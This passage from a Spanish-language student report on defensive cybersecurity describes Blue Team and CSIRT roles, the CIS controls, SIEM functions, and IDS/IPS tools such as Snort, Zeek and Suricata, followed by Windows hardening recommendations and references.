pueden afectar la infraestructura informatica.

o Evaltan posibles riesgos informaticos dentro de las areas y sus posibles
mecanismos de mitigacion.

o Testean red de comunicacion y muestrean el trafico de datos de la red.
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o Realizan evaluacion de riesgos, para mirar y determinar si los controles usados o
existentes dentro de la organizacion son fuertes o necesitan ser intervenidos.

o Colocan en marcha la hardenizacién de controles, capacitacion del personal y la
instalacion de dispositivos y software, para evitar cualquier intrusion a las redes de la empresa.

Los equipos de Blue team, deben conocer y usar una gama de herramientas, que permiten
la mitigacion de problemas de penetracion de agentes externos a los sistemas de la empresa y
estas son:

o IDS: Herramientas para identificacion de intrusos; los cuales se encargan de
monitorear el trafico que se tiene en la red y estar atentos a cualquier tipo de comportamiento
anomalo en la mismas, que generen indicio que el sistema esta siendo vulnerado por algln
agente externo.

o IPS: Sistema de prevencion de intrusiones; las cuales de manera automaticas
detectan intrusiones al sistema y bloquean este tipo de ataques.

o Antivirus y antimalwares: Estos programas que, para usos empresariales,
deberian ser con licencias pagas; usados para defender al sistema de ataques por virus que
cualquier tipo, gusanos, entre otros, los cuales ayudan a defender la infraestructura tecnolégica
ante ataques conocidos o retroalimentar al equipo con eventos y posibles soluciones.

o Firewalls: Uno de los elementos mas importantes de la red, porque mediante
configuraciones de reglas, se crea una defensa importante frente a intrusiones. Este tipo de
elemento estan incluidos dentro de los sistemas operativos, pero hay empresas que mantienen un
elemento fisico, el cual filtra la comunicacion entre los Route y el Switch que distribuyen la red

de la organizacion.
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o Herramientas de analisis de vulnerabilidades: Herramientas que permitan
escanear Yy buscar vulnerabilidades dentro de la red de la organizacion, para asi proponer
controles que hardenizen las defensas antes posibles penetraciones.

o Herramientas de gestion de parches: Permite evaluar que softwares estan
desactualizados y que parches de seguridad estan disponibles para ser aplicados y reducir la
brecha de seguridad.

o) Herramientas SIEM: Sistema de gestion de riesgos y de eventos de seguridad;
son muy importante cuando el ataque se esta realizando en tiempo real y se necesita actuar de
manera pronta, y se encargan de recopilar, ordenar y analizar todos los registros obtenidos en un
evento de seguridad.

o Herramientas de autenticacion y control de acceso: Permite que solo usuarios
autorizados, puedan interactuar con el sistema, cerrando las brechas de penetracion por parte de
algun intruso.

o Herramientas de analisis de trafico de la red: Se encargan de analizar el trafico
de la red, en busqueda de amenazas o eventos fuera de lo normal, que comprometan la integridad
de la misma.

. Equipo de respuesta de incidentes (CSIRT): Este equipo evaldan, documentan
y responden a incidentes informaticos o es el equipo de respuesta antes emergencias
informaticas; el cual sigue unos lineamientos de respuestas a incidentes, para detectar, eliminar y
documentar un incidente o amenaza, respondiendo de manera eficiente y eficaz ante el problema,
documentar e informar para calmar a todos los interesados en las diferentes aristas.

Para poder definir este grupo, debemos conocer tres puntos fundamentales como son:



o Evento: Es una accion que se presenta de manera habitual o frecuente dentro de

88

un proceso, el cual tomandolo a el solo no se puede determinar como una vulnerabilidad, pero si

hace parte de una cadena de sucesos anémalos, se puede convertir en una amenaza.

o Alerta: Es una accién que desencadena un evento, la cual puede ser 0 no signo de

estar atento.

o Incidente: Son eventos generados y cantidades de alertas sobre un proceso, los
cuales se pueden convertir en una amenaza para el sistema.

Los sistemas de respuestas de incidentes, se activan cuan el equipo recibe alertas en sus
sistemas SIEM y cuando el incidente es grave, ellos aislan los sistemas alterados, tratan de
solucionar el problema, rescatan, restauran y a su vez informan a sus clientes que sus datos se
encuentran comprometidos por una intrusién y como estan abordando el tema.

Los equipos de CSIRT estan conformados por:

o Responsable de respuestas a incidentes: Que por lo general es la persona
encargada de area de TI, que se encarga de informar a las partes sobre el suceso.

o Analistas de seguridad: Encargados de recopilar como se produjo el incidente y
documentan la prueba de forense informatico.

o Investigadores: Por lo general estan fuera del entorno buscando evidencias que

cubran otras aristas y amplie el radio de busqueda.

o Directivo TI: Intermediario entre los investigadores y los altos ejecutivos de la
empresa.
o Especialista de recursos humanos: Ayudan a verificar al interior de la

organizacion, ya sea con analisis de contratos, o cualquier hallazgo que conlleven a un posible

ataque por algun hecho de descontento.
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o Departamento juridico: Ayuda a establecer las responsabilidades dentro de la
empresa, las clausulas legales y punibles y pueden analizar las pruebas forenses.

o Relaciones publicas: Que son los encargados de interactuar al interior y exterior
de la empresa, para obtener informacién de la investigacion e ir interactuando con los afectados.

Las organizaciones que tienen un plan de respuestas a incidentes bien definido, siguen
unos lineamientos y no improvisan ante un incidente de seguridad, es mas, dan respuesta rapida,
responden ante la presion y el estrés de los clientes y calman los &nimos de la organizacion y
documentan y alimentan su base de informacidn y esto permite que la empresa que esta siendo
atacada tenga una alta confianza y no enfrente problemas legales, por no saber como actuar ante
el riego de perdida de informacion, alteracion y mal manejo de incidentes.

Entonces teniendo esto claro podemos concluir te la diferencian ente un equipo blue team
y un equipo CSIRT, es que el primero se encarga de salvaguardar, prevenir y defender sistemas
informaticos ante amenazas del medio antes, durante y después y los segundos, dan respuestas a

incidentes que se estén presentando, documentan e informan como se estéa tratando el problema.
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Analisis Sobre la Pertinencia de Trabajar con CIS “Center For Internet Security” Como
Propuesta de Aseguramiento por Parte de Un Equipo de Blue Team.

Controles de seguridad critica CIS, que son un conjunto de mejores practicas cibernéticas
los cuales son aplicables a las empresas en aquellos puntos donde se puede presentar un riesgo y
que permiten tomar acciones defensivas, para proteger de ataques peligrosos que pongan en
riesgos la operatividad de la organizacion.

Los controles CIS, los usaria para robustecer la seguridad cibernética de la empresa, con
el fin de que pueda cumplir con sus metas propuestas, alcanzar los objetivos bajo los marcos
juridicos, reglamentarios y normativos, teniendo la confianza que se encuentran protegidos por el
cumplimiento de estos controles, que fueron desarrollados por expertos en seguridad usando
experiencias de ataques conocidos y la forma de como defenderse de los mismo.

Implementar un CIS, es tener una empresa bajo un escudo de proteccidn robusto, porque
ya en esta se ha realizado una indagacién de que hace la empresa, como es su operacion, como
es su infraestructura, cuales son los riesgos y que controles se pueden implementar o cuales se
deben Hardenizar y a parte se haria una lista de chequeo basado en las normas de buenas
practicas para saber si se estd cumpliendo con lo establecido, para la 6ptima operacion en el
medio de la misma.

Para hacer una implementacion de un CIS, como experto en seguridad informatica, lo
primero que haria es realizar una fase de exploracién de la empresa y lo fundamental es conocer
la operacion de la organizacion, levantar informacidn relevante en la materia de seguridad,
conocer e interactuar con las areas de dicha empresa, conocer cdmo es su infraestructura, si

cuanta con algun sistema de seguridad, identificar puntos vulnerables o propensos a riesgos y
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luego comienza la fase de evaluacion e implementacion de controles, que permitan reducir las
brechas de seguridad ya detectadas.

Los CIS estan basados en 20 recomendaciones de seguridad principales asentados en la
defensa de seguridad informaticas de las organizaciones y estos se dividen en tres categorias, que
son: Basicas, fundamentales y organizacionales y también estan conformados en tres grupos
basados en los perfiles de las empresas donde se desea implementar estas recomendaciones.

Estos grupos son aplicables a todas las empresas, pero dependiendo de cuantas
recomendaciones use asi queda estipulada dentro de los mismos y es necesario que las
organizaciones pasen del gropl al grupo 2 y del grupo 2 al grupo 3, lo que le dara un
fortalecimiento en materia de seguridad, si llegasen a este ultimo punto.

Grupo 1 (IG1), especial para pequefias y medianas empresas limitada, basadas en la
ciberseguridad bésica; las cuales mantienen salvaguardas ante ataques conocidos y aplicables a
este tipo de empresas donde sus datos no son tan sensibles.

Grupo 2 (1G2), se usan en empresas medinas que manejan datos sensibles,
confidenciales, y manejo de activos; no obstante, deben cumplir con todas las salvaguardas del
grupo 1 del del grupo 2; este grupo ayuda al manejo confidencial de informacién de clientes y
empresas, cuidando la integridad, confidencialidad y disponibilidad de datos.

Grupo 3 (IG3). Usada en grandes empresas con alta madurez, que manejan altos
volimenes de datos y activos, sensibles, confidenciales; este grupo debe cumplir con las
salvaguardas del grupo 1, gro 2 y grupo3; y se dice que es el Gltimo escalon en seguridad, porque
maneja completamente todas las recomendaciones y logran reducir ataques de ciberdelincuentes

sofisticados y mitigan los impactos causados por ataques del dia cero.
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Para la implementacion de un CIS podemos ver los controles que nos ayudan en este

proceso:

. Inventario y control de activos de hardware: Es importante mantener un
inventario de todos esos elementos que hacen parte de su red, su estado “Activos,
inactivos” y mantenga un sistema de autenticacion, para evitar accesos no autorizados y
actividad dentro de la red de la organizacion.

Productos recomendados: End point central, OpUtils.

1. Inventario y control de activos de software: Es necesario que se tenga controlados
todos los softwares instalados en los dispositivos de la red o realizar inventario de los
mismos, para evitar problemas de software de dudosa procedencia, no licenciados,
desactualizados, con vulnerabilidades conocidas; por lo cual es bueno tener una carta
blanca, que permita determinar que software si se pueden usar y cuales no.

Productos recomendados: End point Central, OCS Inventory NG.
1. Gestion continua de vulnerabilidades: Es necesario monitoreas todos los
dispositivos de la red, buscando vulnerabilidades, antes que estas causen incidentes de
seguridad y ain méas importantes analizar si ya se encuentran actualizaciones disponibles
de sistemas, para ser agregados a los mismo.

Productos recomendados: End point Central.
V. Uso controlado de los privilegios de administrador: Es necesario asignar
privilegios dependiendo el rol, para evitar que personas no autorizadas, tomen control
total de cuentas y puedan tener comportamientos inapropiados dentro de la red de la
organizacion.

Productos recomendados: End point Central, Password Manager Pro, AdAudits plus.
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V. Configuracion segura de dispositivos maviles, laptop, estaciones de trabajo y
servidores: Es necesario que se establezcan configuraciones de seguridad apropiadas
para todos los dispositivos, lo cual debe ser aprobado por la organizacion y se debe
emplear un sistema que esté atento sobre posibles amenazas en la red y que acciones
tomar cuando estas las encuentren, asi como IDS e IPS.

Productos recomendados: End point Central.
VI. Mantenimiento, monitoreo y analisis de log de auditoria: Es necesario
mantener y recopilar log de auditoria, el cual dara claridad de que actividades son
anomalas y de esta manera podran activar un control o mejora, para evitar explotaciones
de la red de la organizacion.

Productos recomendados: Log360.

VII. Proteccidn de correos electrénicos y navegador web: Es necesario que la
organizacion controle los navegadores web que usara su empresa, las cuentas de correo
electronicos y que sus usuarios puedan acceder a sitios seguros, asi evitara caer en
problemas de ingenieria social que puede afectar la actividad de la empresa.

Productos recomendados: End point Central.

VIII. Defensa contra malwares: Mantenga dentro de los sistemas de la empresa un
software que le ayude a contrarrestar problemas causados por los malwares como es
instalacién y ejecucion de cddigo malicioso; este le ayudara a tener una barrera a nivel de
dispositivo que permitira contener un ataque.

Productos recomendados: End point Central, Device Control Plus, Log 360.
IX. Limitacion y control de puertos de red, protocolos y servicios: Es necesario

tener controlado los puertos, protocolos y servicios activos en la red de la organizacion, la
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idea es cerrar la brecha de seguridad, para evitar el trafico no adecuado dentro de la
misma y una buena alternativa es usar los firewalls internos en los dispositivos, para que
estos mediante reglas apropiadas, controlen este tipo de problemas.

Productos recomendados: End point Central.

X. Funciones de recuperacion de datos: Es necesario implementar técnicas, que
permitan resguardar, replicar y mantener un backup de los datos sensibles de la empresa y
si ya estamos enfrentando un ataque que coloque en riesgos estos datos, tener algunas
herramientas eficientes en la recuperacion de los mismos.

Productos recomendados: Recovery Manager Plus.

XI. Configuracion segura para dispositivos de red como Firewall, Switches y
Router: Es necesario mantener bien configurados los dispositivos de trafico de red, con
el fin de no tener vulnerabilidades que lleven a un evento catastréfico dentro de la
organizacion y esto lo hacemos gestionando y controlando mediante procesos rigurosos
las configuraciones de estos dispositivos.

Productos recomendados: Network Configuration Manager.

XII. Proteccidn perimetral: Es necesario contar con las barreras perimetrales, las
cuales bien configuradas, permiten el control de acceso no autorizado a la red de la
organizacion, deteccién de actividades andmalas y flujo de datos de dudosa procedencia y
alertar sobre posibles ataques que se estén presentando y control de los mismo.

Productos recomendados: OpUtils, NetFlow Analyzer, EnventLog Analyser.

XII. Proteccidn de datos: Es necesario que los datos sensibles de la empresa estén

seguros disponibles, confiables e integros; por lo cual es necesario implementar técnicas
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para el manejo de datos como es codificacion, segregacion, planes de proteccién contra
infiltracion y prevencion de pérdidas de datos.

Productos recomendados: Data Security Plus, Device Control Plus y Mobile Device
Manager Plus.

XIV. Control de acceso basado en la necesidad de saber: Es necesario mantener los
activos criticos de la organizacion, con el fin de controlar, proteger y supervisar el acceso
adecuado a los mismos; y mantener un registro detallado de acceso a los servidores, con
el fin de verificar e identificar si los datos estan siendo accedidos indebidamente.

Productos recomendados: End point Central, Password Manager Pro, AdAudits
Plus.

XV. Control de acceso inalambrico: Es necesario que se evalten todos los puntos
inalambricos de la empresa como las redes WIFI, puntos de acceso, entre otros;
verificando y evitando que los atacantes entren por estos puntos y evadan controles
perimetrales. Por lo cual es recomendable agregar IDS en estos puntos para verificar si
los equipos que en estos sistemas se conectan cumplen con las recomendaciones de
seguridad y no usan softwares vulnerables, que expongan informacién relevante de la
empresa.

Productos recomendados: OpUtils.

XVI. Monitoreo y control de cuentas: Es necesario que la organizacién mantenga un
control sobre las cuantas de usuarios, las cuales pueden estar activas, desactivadas,
suspendidas y que en muchas ocasiones cuando se perpetra un ataque, los atacantes

parecen ser usuarios legitimos usando cuantas inactivas o con estado diferente a activos.
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Productos recomendados: Password Manager Pro, AdManager Plus, Log360, End
point Central.

XVII. Implementar programa de concientizacion y capacitacion en seguridad: Es
necesario que la empresa genere actividades pedagogicas, que brinden a los empleados
orientacion sobre problemas de seguridad de sistemas dentro de la empresa, como
prevenirlos, qué hacer cuando estén siendo victimas de estos ataques, etc.

Productos recomendados: Charlas, capacitaciones, presentaciones, correos
informativos de seguridad informaticas y firmas de compromisos con la seguridad
informaticas con la compaifiia.

XVIIl.  Seguridad del software de aplicaciones: Es necesario que la empresa desarrolle
un plan, para auditar de manera frecuente los software propios y adquiridos, para buscar
de manera frecuente vulnerabilidades que puedan afectar la organizacion y tratar de
implementar controles sobre aquellos explotados o en riesgo de que se materialice un
incidente.

Productos recomendados: NMAP, OpenVas, Nessus, Metaxploits.

XIX. Respuesta y gestion de incidentes: Es necesario que la empresa tenga un grupo
que controle los incidentes de seguridad que se puedan presentar, que controles un
ataque, lo elimine, de respuesta a la directiva, empleados y clientes de la organizacion y
que pueda restablecer la operacién de la empresa en el menor tiempo posible y con altos
controles de seguridad.

Productos recomendados: Equipo Red team, Equipo Blue team, Equipo de control

de incidentes.
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XX. Pruebas de penetracion y ejercicios del equipo Red Team: ES necesario, que
la empresa pueda generar pruebas periddicas de penetracion de su sistemas y redes, con el
fin de encontrar anomalias y poder corregir esas brechas de seguridad que podrian afectar
la misidn, vision, funcionamientos y los objetivos de la empresa.

Productos recomendados: Equipo Red team, Equipo Blue team, Equipo de control

de incidentes.
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Analisis Sobre las Funciones y Caracteristicas Principales de un SIEM.

El SIEM, conocida como gestion de informacion y eventos de seguridad, la cual agrupa a
dos puntos fundamentales en una misma herramienta, los SIM, que es la que nos permite
gestionar la informacion de seguridad y los SEM, que nos permite manejar los eventos de
seguridad.

El SIEM es un framework, que ayuda en el analisis, monitoreo y deteccion de amenazas a
nivel de seguridad en tiempo real, buscando anomalias en los traficos de datos, con el fin de
alertar al responsable del manejo del sistema, para que tome acciones necesarias frente a un
evento de seguridad e intrusion; ademas sirve para auditoria y nos permite realizar un
seguimiento detallado de los registros producidos dentro de los log, detectado amenazas,
vulnerabilidades, comportamientos improcedentes de personas dentro del sistema,
acontecimientos inadecuados y cualquier tipo de incidente que afecten el funcionamiento
legitimo de ciberseguridad de los procesos dentro de una organizacion.

Cuando se configura un SIEM, se establecen tres fases o capas que permiten una alta
probabilidad de éxitos frente a incidentes de seguridad:

. Fuentes de origenes de datos (Recoleccion): Esta parte, permite determinar, de
donde el SIEM va a recopilar todos esos datos relevantes, que permitan la deteccion de
actividades anémalas, vulnerabilidades o cualquier problema de seguridad que se presente; como
los SIEM, revisan todos tipo de log que se le configure para su funcionamiento, estos pueden
analizar aquellos registros provenientes de otros sistemas como son registros de firewall,
antivirus, log del sistema operativo, entro otros y asi tener un gran abanico de posibilidad, para

dar respuesta antes incidentes de seguridad informaticos.
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La recoleccion de datos puede ser de manera activa, cuando el SIEM realiza operaciones
automaticas con la interaccion con bases de datos, WMI (RCP), SCP o CIFS y de manera pasiva
cuando es a través de un agente o un SYSLOG.

Cuando estamos en esta fase de recoleccién de datos, hay una parte muy fundamental
conocidos como agentes que son conectores que permiten extraer informacion de los logs de las
maquinas propias o intermedias y se encargan de 5 tareas importantes:

o) El parseo: Permite tomar un log y definir sus partes fundamentales como es time
stand, IP de Origen, IP destino, puertos de comunicacion, tiempo de comunicacion y otros
elementos del suceso y esto debe ser independiente del fabricante, porque siempre los logs tienen
partes iguales, que ayudan a que la lectura sea mas facil y coherente y lo hacen usando
expresiones regulares e interpretacion de datos.

o La normalizacion: En esta parte se busca customizar los logs, con el fin de que
todos tengan un mismo orden estructural e informativo, para su mejor interpretacion; es como
usar protocolos donde varias fuentes se acoplen y hablen el mismo idioma.

o La categorizacion: Es tomar los logs ya recopilados, normalizados y colocarles
una etiqueta para agruparlos por acciones iguales, por eventos similares, no importando el
fabricante, sino los resultados obtenidos.

o La agregacion: Optimiza el almacenamiento, agrupas eventos iguales y permite
registrarlos en un solo bloque.

o El filtrado: Esto es lo que permite determinar cudl es la fuente de datos de los
SIEM, porque si usamos datos no relevantes para el proceso que queremos auditar o mirar,
podemos llenar de basura el correlador, haciendo que la tarea sea mas tediosa y que se eleven los

tiempos de respuesta de incidentes.
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. Consolidacion de datos de informacion (Correlacion): En esta fase, el SIEM,
tomara todos los datos recopilados en la fase anterior, los almacenara de manera temporal y
realizara una serie de calculo, para determinar si el trafico dentro de la red esta dentro de los
valores normales o si por el contrario es necesario informar al administrador de la red, para que
tome acciones frente a un evento registrado.

o Anélisis, filtrado y visualizacidon de datos Esta es la fase donde el SIEM, prepara
un reporte muy detallado, grafico, comprensible, para el administrador de la red, con el fin de
presentar un visual, de lo que esta aconteciendo en la red y donde se deben enfocar a investigar y
atender los incidentes presentados, para contener cualquier problema de seguridad que se esté
presentando.

Un SIEM cubre las siguientes funciones; tomar los datos de los log de eventos y permite
gestionarlos, permite visualizar, todos los acontecimientos que se estén presentando dentro de
una red, correlaciona varios eventos de varios sistemas, lo que permite tener un estudio mas
amplio de la forma como se pudo presentar un problema dentro del sistema, permite al
administrador de la red inyectar inteligencia ante amenazas, ayuda a la empresa a cumplir con los
objetivos de TIC, porque se apegan a las normativas vigentes para restar eventos de inseguridad,
lo que permite aplicar normas o estandares que le dan a la empresa mayor reputacion, permite
obtener alertas en tiempo real de sucesos andmalos, analiza fallos y permite simular exploits,
permite priorizar las vulnerabilidades, asiste en el analisis y topologia de la red, gestiona
incidentes y generan informes detallados, los cuales ayuda a la toma de acciones de manera
rapida que salvaguarden los procesos de una empresa u organizacion.

Unos de los puntos importantes, para saber cbmo estamos manejando los SIEM, es

verificar las variables MTTD “Mean Time To Detect” y MTTR “Mean Time To Respond”, esto
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es los que nos permite determinar cual es el tiempo medio en el que se detectd un incidente de
seguridad y cual fue el tiempo medio que se empled para contener la amenaza, lo que permite
medir a la empresa su capacidad de respuesta ante incidente y si es necesario hardenizar sus
controles de ciberseguridad, entonces si los tiempos se logran reducir al minimo, quiere decir que

la efectividad del SIEM es de alto nivel.
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Informe de Eleccion de 3 Herramientas que Permitan Contener Ataques Informaticos.
Las herramientas de contencidn son aquellas que permiten al equipo de Blue team,
contener ataques informaticos que pueda ser propiciado por algin agente que quiera vulnerar el
sistema informatico de una organizacion; no obtente, antes de ver algunas herramientas debemos
tener en cuenta algunos conceptos bases para entrar en materia.
En las empresas, muchas veces ya se encuentran elementos que permite la proteccion y la

mitigacion de eventos que atenten contra la infraestructura informética de la misma como son:

. Firewall: los cuales pueden ser mantenidos por el sistema de Windows de las
maquinas, por los antivirus que se adquieran o son elementos fisicos de la red, que regulan el
trafico entrante y salientes de las mismas. Estos elementos, son configurados bajo unas reglas las
cuales se comportan como barreras y delimitan las fronteras y mantienen el flujo de informacion
con accesos permitido o restringido.

Muchas veces el firewall, esta configurado para aceptar peticiones entrantes, por un
puerto especifico, pero si un ataque llega por ese puerto abierto para cualquier peticién del
internet, el firewall por si solo no es capaz de detenerlo o si este llega como una peticién
legitima, entonces en estos casos encontramos elementos dentro de la red que nos permiten
realizar escaneo de la misma y controlar el trafico como el caso de los IDS o IPS.

o Antivirus y antimalwares: Son programas que permiten la deteccién, prevencion
y eliminacién de virus, malwares, gusanos, entre otras amenazas que pueden dafar los sistemas
informaticos; este tipo de proteccion son los mas populares entre los dispositivos como son
computadores, Tablet, smarphone, entre otros y se ejecutan en segundo plano manteniendo

siempre la buena experiencia del usuario mientras realiza sus actividades dentro del sistema.
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Muchos de los antivirus, se caracterizan por trabajar de manera dptima y consumiendo
los recursos minimos para no afectar el funcionamiento de los sistemas y sus principales
funciones son: Deteccion, cuarentena y eliminacion de malwares; andlisis de sistema en tiempo
real, analisis del sistema a pedido o programados de archivos y aplicaciones y uno de los mas
importantes a nivel de seguridad informatica, es que internamente pueden tener configuraciones
de firewall, lo que ayuda a la proteccion de sistemas.

. IDS: Sistema de deteccion de intrusiones; este sistema o interfaces, permiten
hacer escaneo de la red y envian alertas a las personas responsables del monitoreo; estos sistemas
son pasivos; toda vez, que no detienen el tréfico de la red cuando detectan anomalias, sino que, al
momento de comparar las peticiones entrantes a la red, con la base de dato que tiene la interfaz
comienza a advertir por medio de alertas.

Los IDS pueden ser instalados en cualquier parte de la red, pero en general, siempre lo
realizan después del firewall y en una interfaz del switch, la cual trabajara de modo promiscuo y
con un mirror o espejo de la interfaz de entrada del internet. De esta forma el equipo Blue team
comienza a analizar el trafico.

o IPS: Sistema de prevencion de intrusiones, este sistema al igual que los IDS nos
permiten hacer escaneo del trafico de la red y como interiormente también tiene un IDS, envian
alertas al encargado de monitorear la red, pero como estos sistemas son activos, pueden tomar
decisiones basas en algoritmos l6gicos/matematicos y pueden cortar comunicacion cuando ven
anomalias en el trafico de la red. Estos sistemas deben ser tratados con mucha cautela, porque si
no estan bien configurados, pueden tratar peticiones legitimas como un ataque por ejemplo

“DOS” y cortan abruptamente la comunicacion entre un equipo y el servidor de la red y si
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estamos hablando de una transaccion real, la empresa puede dejar de percibir cualquier tipo de
operacion importante por este tipo de elemento.

Este equipo o software, por lo general lo ubican entre el firewall y el switche, lo que lo
lleva a convertirse en otro filtro de la red entrante, con capacidad de actuar antes de establecer la

conexion con los equipos privados de la red.

Teniendo en cuenta estos conceptos, algunas herramientas que los equipos Blue team
usan para este tipo de trabajo y que dependiendo de las configuraciones pueden ser IDS o IPS de
licencias GPL y que esta empresa puede usar son:

o SNORT: Sistema de codigo abierto que se comporta como IDS e IPS, el cual
analiza el trafico de la red en tiempo real, registra paquetes, analiza protocolos, empareja
contenido, mantiene una pila de huellas del sistema operativo y mediante reglas, pude detectar
anomalias, protocolos y firmas que descubren actividades dafiinas para el sistema informatico de
una empresa. Esta herramienta, al momento de detectar este tipo de problemas como son: DoS,
DDoS, CGl, desbordamiento de buffer y escaneos de puertos, generan alertas a quien monitorea
la red.

El sistema SNORT, trabaja bajo tres diferentes modos y esto depende la las instrucciones
con las cuales se arranque dicho software; estos tres modos son: Detector de paquetes, el cual lee
paquetes IP y luego muestra por consola; el modo registrador de paquetes, para mostrarle a el
usuario, quien visito la red, que protocolos uso y con qué SO ingreso; y el modo NIPDS, que
solo registra aquellos paquetes considerados como maliciosos y no todo el registro de visitas y

demas actividades.
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o ZEEK: Software 0 marco de trabajo potente, que analiza el trafico de datos que se
genera en la red de una empresa, es usada por muchas empresas, instituciones educativas, entre
otras, por su robusta infraestructura.

Las principales caracteristicas son: Realiza analisis de profundidad en la capa de
aplicacion por su analisis de alto nivel, es adaptable y flexible, es muy eficiente por su facil uso
en cualquier tipo de sitios y redes sean grandes o pequefias, es robusto por que proporciona un
archivo de alto nivel de los sucesos de la red y es facil de instalar, moderno y con actualizaciones
constantes.

o) SURICATA: Sistema de cddigo abierto, potente, de tipo IDPS, que monitorea el
trafico de la red, es capaz de detectar patrones maliciosos y es muy anticipado ante amenazas o
eventos que generar inseguridad al sistema informaético de una organizacion. Este software
trabaja en dos modos dependiendo su configuracién, como IDS o modo pasivo, la cual vigila el
trafico, genera alerta, pero no interfiere con la entrega de paquetes y como IPS o modo activo, lo
cual puede ayudar a mitigar problemas de instrucciones, pero debe estar bien configurados,
porque puede afectar operaciones legitimas cuando detecta que hay anomalias del trafico de la
red.

Suricata basa su funcionamiento en: motor de reglas, las cuales permiten al sistema
determinar que comportamientos se consideran como una intrusion, las cuales manejan un
comportamiento ya conocido o anémalos; analisis de protocolos, analiza protocolos de
comunicacion buscando anomalias en los mismos, estos protocolos son HTTP, UDP, TCP,
ICMP y DNS; Inspeccion de contenido, lo cual lo hace realizando un escaneo profundo del
trafico buscando malwares, intrusion por sploits y amenazas de cadenas; decodificacion de

protocolos, Puede interpretar el trafico en todas las capas de la red por lo cual es considerado un
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decodificador en multiniveles; captura de archivos, los cuales son analizados, determinando su
grado de peligrosidad y tiene soporte para IPV6, lo cual lo hace un software completo y

disponible para este tipo de protocolos de internet.

Para concluir, podemos decir, que los equipos Blue team, no solo recomienda que se usen
los sistemas bases para proteccion de la infraestructura informaticas como son firewall y
antivirus, sino que hay unas herramientas, que permiten el monitoreo y actividad de la red, la
cuales nos dan una posibilidad de actuar frente a ataques en tiempo real y con mucha precision

en la contencidn de los mismos.
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Conclusion

En conclusidn, esta investigacion arrojo resultados satisfactorios sobre las pruebas de
penetracion en el sistema informatico de la empresa CyberFort Technologies, usando
estrategias del equipo Red Team, la cual permitié determinar como se produjo el ataque
informatico que puso en riesgo la integridad, disponibilidad y confidencialidad de los datos
vitales para la operacién de esta compafiia, también se lograron realizar una serie de
recomendaciones, basados en las estrategias del equipo Blue Team, para hardenizar los controles
existente o proponer otros mas efectivos y todo con el fin de proteger esta empresa contra
incidentes informaticos que afecten la mision y vision propuesta desde el momento de su
creacion.

Por ultimo, se presentaron las leyes ajustadas al marco legal colombiano, que fueron
quebrantadas cuando se cometio este ilicitos, todo con la finalidad de que la parte juridica de la
empresa CyberFort Technologies pueda emprender un juicio contra la(s) persona(s) que

propiciaron este hecho.
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ANEexXos

o Enlace de video, sobre la presentacion del informe final:

https://www.youtube.com/watch?v=jKzjx9p-jF0
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Recomendaciones

Recomendacion 1: Usar sistemas operativos atendidos, actualizados, con todos los
parches de seguridad, que a medida que pasa el tiempo, los fabricantes incluyen, si tenemos la
opcién Windows update activa.

Recomendacion 2. Activar el firewall de Windows y si la maquina es muy sensible por
la informacion que maneja, tratar de realizar reglas en este software, para solo permitir
conexiones controladas a los recursos desde otras maquinas que solicitan acceso.

Recomendacion 3: Se Recomienda tener por lo menos un firewall entre la interfaz de
internet del Router y la interfaz de internet del switche, para controlar el flujo de datos. Este
elemento debe tener reglas bien definidas, para mitigar el riesgo de peticiones intrusivas hacia la
red privada.

Recomendacion 4. Instalar software de antivirus, preferiblemente pagos, toda vez, que
estos tiene mas atencidn, soporte, mas bases de virus y vulneraciones y ademas eliminan estos
tipos de script que se ejecutan en segundo nivel, haciendo que el atacante puede tomar control
remoto del sistema atacado; no obstante, como la empresa no cuenta con recursos econémicos
para este tema, es recomendable activar la herramienta Windows Defender, mientras pueda
adquirir licencias.

Recomendacién 5: Siempre verificar que los softwares instalados sean seguros, que usen
protocolos con seguridad como es HTTP+SSL o HTTPS, que contengan Certificados como son
SSL, TLS1.0, TLS 1.2 0 TLS 1.3, preferiblemente los dos ultimos.

Si activamos el Sandbox dentro de la maquina, hacerlo desde la configuracion UEFI y

luego activar el Sandbox y realizar la instalacién del software dentro de ese espacio.
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Recomendacion 6: Crear cuentas de usuario estandar para no administradores del
sistema, buscar en el panel de control de la maquina, cuentas de usuario, administrar cuantas de
usuario y agregar el nuevo usuario con sus credenciales, dominio y rol dentro del sistema.

Recomendacion 7: Desactivar la opcion de escritorio remoto, ingresando a panel de
control, Sistema y Seguridad, buscar permitir acceso remoto y marcar check, no permitir la
conexion remota a esta maquina.

Recomendacion 8: Active la configuracion BitLocker de Windows, usando panel de
control, Sistema y seguridad, cifrado de unidad BitLocker, administrar BitLocker y activar
BitLocker en las unidades listadas en pantalla.

Recomendacion 9: Buscar en panel de control, Sistema y seguridad, copia de seguridad
y restauracion, configurar copia de seguridad y desde ese momento te ayudara un asistente, que
te permite crear las reglas de la copia de seguridad y te dejara los puntos de control, que posterior
mente podras usar si es requerido.

Recomendacion 10: Verificar el tamafio de la empresa implementar las recomendaciones
CIS “Center For Internet Security” y categorizarla en el grupo (IG1), (IG2) o (IG3).

Recomendacion 11: Implementar un SIEM, para gestionar elementos de seguridad y

manejos de eventos dentro de la empresa.



111

Referencias Bibliograficas
o Alcarria, P. (2003) Fases del pentesting: pasos para asegurar tus sistemas.

OpenWebinar, consultado el 9 de octubre de 2024. https://openwebinars.net/blog/fases-del-

pentesting-pasos-para-asequrar-tus-sistemas/

o Chindrus, C., & Caruntu, C.-F. (2023). Securing the Network: A Red and Blue
Cybersecurity Competition Case Study. Information, 14(11), 587.

https://doi.org/10.3390/info14110587

. Altube, R. (2020) Qué es OpenVAS. OpenWebinar, consultado el 11 de octubre de

2024. https://openwebinars.net/blog/que-es-openvas/

o Cilleruelo, C (2024) ¢ Qué es ExploitDBt?. Keepcoding, Consultado el 11 de

octubre de 2024. https://keepcoding.io/blog/que-es-exploitdb/

o Cilleruelo, C (2024) ¢Qué es un metasploit?. Keepcoding, Consultado el 10 de

octubre de 2024. https://keepcoding.io/blog/que-es-metasploit-cibersequridad/

o Cilleruelo, C (2024) Fases de un pentest. Keepcoding, Consultado el 9 de octubre

de 2024. https://keepcoding.io/blog/fases-de-un-pentest-cibersequridad/

o CompTia (2024) What Is Nmaps?. CompTia, Consultado el 10 de octubre de

2024. https://www.comptia.org/blog/what-is-nmap



https://openwebinars.net/blog/fases-del-pentesting-pasos-para-asegurar-tus-sistemas/
https://openwebinars.net/blog/fases-del-pentesting-pasos-para-asegurar-tus-sistemas/
https://openwebinars.net/blog/que-es-openvas/
https://keepcoding.io/blog/que-es-exploitdb/
https://keepcoding.io/blog/que-es-metasploit-ciberseguridad/
https://keepcoding.io/blog/fases-de-un-pentest-ciberseguridad/
